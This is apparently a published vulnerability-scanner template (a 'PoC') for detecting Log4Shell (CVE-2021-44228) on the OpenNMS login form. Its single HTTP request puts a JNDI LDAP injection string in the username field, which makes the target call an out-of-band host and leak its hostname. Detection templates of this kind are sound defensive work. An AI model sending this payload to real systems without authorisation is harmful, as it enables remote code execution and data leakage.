opennms-log4j-rce: OpenNMS - JNDI Remote Code Execution (Apache Log4j)

2025-08-01 OpenNMS PoC Public

Description

OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

PoC

id: opennms-log4j-rce

info:
  name: OpenNMS - JNDI Remote Code Execution (Apache Log4j)
  author: johnk3r
  severity: critical
  description: |
    OpenNMS JNDI is susceptible to remote code execution via Apache Log4j 2.14.1 and before. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
  reference:
    - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
    - https://www.opennms.com/en/blog/2021-12-10-opennms-products-affected-by-apache-log4j-vulnerability-cve-2021-44228/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:opennms:horizon:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"OpenNMS Web Console"
    product: horizon
    vendor: opennms
  tags: jndi,log4j,rce,opennms,cve,cve2021,kev,oast,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST /opennms/j_spring_security_check HTTP/1.1
        Referer: {{RootURL}}/opennms/login.jsp
        Content-Type: application/x-www-form-urlencoded

        j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.postdata.{{interactsh-url}}}&j_password=password&Login=&j_usergroups=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a0047304502206814c3a1df924e136e40db613cedf8d1e7db1f496c2442f58a2a90560066cf090221009e7dcb982fb23fc7dace49de8fe7c8ed4f4ca891469272e34e0bfc44a8bf8cfc:922c64590222798bb761d5b6d8e72950

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